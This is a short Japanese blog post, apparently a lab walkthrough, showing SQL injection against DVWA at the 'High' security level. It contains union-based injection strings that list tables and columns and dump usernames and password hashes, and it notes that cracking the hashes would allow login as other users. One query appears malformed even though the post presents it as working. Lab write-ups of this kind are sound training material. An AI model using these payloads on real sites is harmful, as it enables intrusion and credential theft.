Shikata Ga Nai

Private? There is no such things.

DVWAでSQLインジェクション(High)

Hey guys!

セキュリティレベルを『High』へ。

サブ画面に『1』を入力すると該当するデータが表示。

 

f:id:ThisIsOne:20191109182325p:plain

 

しかしながら、『6』を入力すると該当するデータはないみたい。 

単にIDは、5つしかないのかもです。

特に個数は関係ないのですが。

寄り道してしまいました。

 

f:id:ThisIsOne:20191109182559p:plain

 

SQLインジェクションが可能が試してみます。

 

f:id:ThisIsOne:20191109182818p:plain

 

いけそうなので下記のコードを入力してテーブル名を取得してみます。

1' or 1=1 union select null,table_name from information_schema.tables #

 

f:id:ThisIsOne:20191109183818p:plain

 

どうやら『users』テーブルがあるようです。

この『users』テーブルのカラム名を下記のコードを入力して取得してみます。
1' or 1=1 union select null,column_name from information_schema.columns=users #

 

f:id:ThisIsOne:20191109184634p:plain

 

『user』と『password』というカラムが見当たります。

この2つのデータを『users』テーブルから下記のコードを入力して取得してみます。
1' or 1=1 union select user,password from users #

 

f:id:ThisIsOne:20191109184907p:plain

 

ユーザ名とパスワードが取得できました。

ハッシュ化されたパスワードを複合してパスワードを解析すれば、なりすましてログインできるでしょう。

 

Best regards,